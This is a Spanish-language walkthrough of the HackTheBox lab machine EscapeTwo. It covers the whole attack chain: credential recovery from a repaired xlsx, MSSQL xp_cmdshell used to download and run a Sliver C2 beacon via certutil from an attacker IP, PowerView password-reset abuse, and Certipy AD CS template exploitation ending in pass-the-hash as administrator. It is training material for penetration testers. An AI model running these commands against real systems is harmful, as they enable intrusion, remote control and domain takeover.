EscapeTwo - HackTheBox
EscapeTwo (dominio sequel.htb) es una máquina Windows clasificada como «Media» en HackTheBox, centrada en Active Directory. El recorrido pasa por unas credenciales escondidas en un xlsx corrupto, acceso a MSSQL y un C2 con Sliver, hasta escalar al dominio abusando de AD CS (ESC) con Certipy.
Portscan
Se realiza el escaneo de puertos con nmap.
nmap -p- --min-rate 1500 -n -Pn -vvv --open 10.129.5.93 -oN 1stScan
User Flag
HTB nos proporciona unas primeras credenciales para enumerar
rose / KxEPkKe6R8suCon estas credenciales podemos enumerar recursos compartidos en el dominio.
nxc smb 10.129.5.93 -u 'rose' -p 'KxEPkKe6R8su' --sharesUn recurso compartido interesante es Accounting Department, que contiene unos archivos en formato xlsx:
smbclient '//sequel.htb/Accounting Department' -U 'rose%KxEPkKe6R8su'
Revisando el archivo accounts.xlsx, notamos que es un archivo zip, es probable que el archivo esté corrupto, así que revisando los magic numbers del archivo, notamos que se muestra 5048 0403, cuando debería ser 504B 0304 para identificarse como un archivo xlsx.
Así que se procedió a realizar los cambios para que se identifique de manera correcta.
perl -p -i -e 's/\x50\x48\x04\x03/\x50\x4B\x03\x04/' accounts.xlsx
Dentro de este archivo encontramos unas credenciales.
La más llamativa es la de mssql, así que probando la conexión por ahí tenemos acceso a la db.
sa:MSSQLP@ssw0rd!impacket-mssqlclient sequel.htb/sa@10.129.5.93
Dentro de mssql podemos ejecutar comandos, así que crearemos un beacon con sliver para luego poder realizar la subida de este archivo.
# Creación del beacongenerate beacon --mtls 10.10.15.89:443 --os windows --arch amd64 --format exe --seconds 5 --jitter 3
# Ponernos en escuchamtls -L 10.10.15.89 -l 443
# Confirmar el listenerjobs
Ahora tenemos que pasar el ejecutable creado a la máquina victima, usamos certutil que trae windows, mientras en nuestra máquina atacante servimos el archivo.
EXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.15.89:80/INEVITABLE_TREAT.exe C:\Users\sql_svc\Desktop\INEVITABLE_TREAT.exe';
Una vez subido el beacon, debemos ejecutarlo:
EXEC xp_cmdshell 'C:\Users\sql_svc\Desktop\INEVITABLE_TREAT.exe'
Revisamos en nuestro cliente de sliver y tendremos la conexión entablada.

Ahora podemos interactuar con el beacon.
use 07e9c7f5
En la ruta C:\SQL2019\ExpressAdv_ENU\ podemos encontrar un archivo sql-Configuration.INI, el cual es posible su descarga y con ayuda de sliver lo descargamos.
download sql-Configuration.INI

Revisando el archivo, nos dice que es un comprimido gzip, por tanto descomprimimos y guardamos en un archivo .txt.
# Revisar el tipo de archivofile sql-Configuration.INI
# Descomprimirgunzip -c sql-Configuration.INI > sql-Configuration.txt
Ahora podemos leer el archivo txt donde nos encontramos una posible contraseñas.

WqSZAF6CysDQbGb3Generamos una sesión interactiva en sliver para explorar en el dominio que usuarios podríamos atacar:
# Genera sesión interactivointeractive
# Usar sesión interactivasessions -i c56
Dentro del directorio C:\users encontramos ryan, por lo tanto podemos intentar probar la contraseña anterior contra el.

Al probar las credenciales, pudimos tener acceso por winrm a través de evil-winrm.
evil-winrm -i sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'
Privesc
De nuevo subiré el beacon para fines de práctica.
# Subir el beaconupload Ryan.exe
# Ejecutarlo.\Ryan.exeRecibimos la conexión en sliver para comenzar a usarla.

Ahora con ayuda de sliver subiremos SharpHound.exe para una enumeración del dominio.
execute-assembly SharpHound.exe --collectionmethods All
Ahora podemos descargar el zip generado para usar en BloodHound
download 20251025171541_BloodHound.zip
Posteriormente, se importará el archivo a BloodHound para encontrar vectores para una escalada de privilegios.
Notamos que ryan tiene permisos WriteOwner sobre CA_SVC.

Abusando de ese privilegio, podemos ejecutar el cambio de contraseña del usuario ca_svc usando PowerView.ps1
# Subir PowerViewupload PowerView.ps1
# Cambiarle la contraseña al usuarioexecute powershell -ExecutionPolicy Bypass -Command "& {Import-Module C:\Users\ryan\Desktop\PowerView.ps1; Set-DomainObjectOwner -Identity 'ca_svc' -OwnerIdentity 'ryan'; Add-DomainObjectAcl -TargetIdentity 'ca_svc' -Rights ResetPassword -PrincipalIdentity 'ryan'; $cred = ConvertTo-SecureString 'Password' -AsPlainText -Force; Set-DomainUserPassword -Identity 'ca_svc' -AccountPassword $cred}"
Para confirmar que nuestros cambios se aplicaron podemos usar nxc.
nxc smb sequel.htb -u ca_svc -p 'Password'
Mirando el bloodhound, podemos observar que el usuario ca_svc pertenece al grupo Cert Publishers y según BloodHound, sus miembros tienen permiso para publicar certificados en el directorio.

Entonces, usamos las credenciales de ca_svc para enumerar con Certipy las plantillas y configuraciones de certificados en Active Directory Certificate Services (ADCS).
certipy-ad find -u 'ca_svc@sequel.htb' -p 'Password' -dc-ip 10.129.5.93 -stdoutObservamos que la plantilla DunderMifflinAuthentication es vulnerable ya que el grupo Cert Publishers tiene permisos peligrosos.

Modificamos esta plantilla para que pueda ser explotada por ca_svc, usando certipy template y guardando una copia de seguridad de la configuración original.
# Guardar las plantillascertipy-ad find -u 'ca_svc@sequel.htb' -p 'Password' -dc-ip 10.129.5.93 -stdout > templates.txt
# Modificar el template vulnerablecertipy-ad template -u ca_svc@sequel.htb -p 'Password' \ -template DunderMifflinAuthentication \ -write-default-configuration \ -save-configuration DunderMifflinAuthentication_backup.json \ -dc-ip 10.129.5.93 -force
Ahora solicitamos un certificado un certificado para identificarnos como el administrador del dominio, algo así como:
“Hola, soy ca_svc, y quiero que me emitas un certificado que identifique al usuario administrator@sequel.htb.”
certipy-ad req -u ca_svc@sequel.htb -p 'Password' \ -ca sequel-DC01-CA \ -template DunderMifflinAuthentication \ -target dc01.sequel.htb \ -upn administrator@sequel.htb \ -dc-ip 10.129.5.93
Ahora extraemos los hashes de Administrator con el nuevo certificado generado.
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.5.93 -domain sequel.htbFinalmente realizamos la conexión con evil-winrm haciendo un PtH.
evil-winrm -i sequel.htb -u administrator -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
Conclusiones
Así completamos EscapeTwo, consiguiendo las flags de user y root. Una máquina muy completa para practicar el abuso de MSSQL, el movimiento con un C2 como Sliver, la enumeración con BloodHound y la explotación de plantillas vulnerables en AD CS con Certipy. ¡Nos vemos en la siguiente!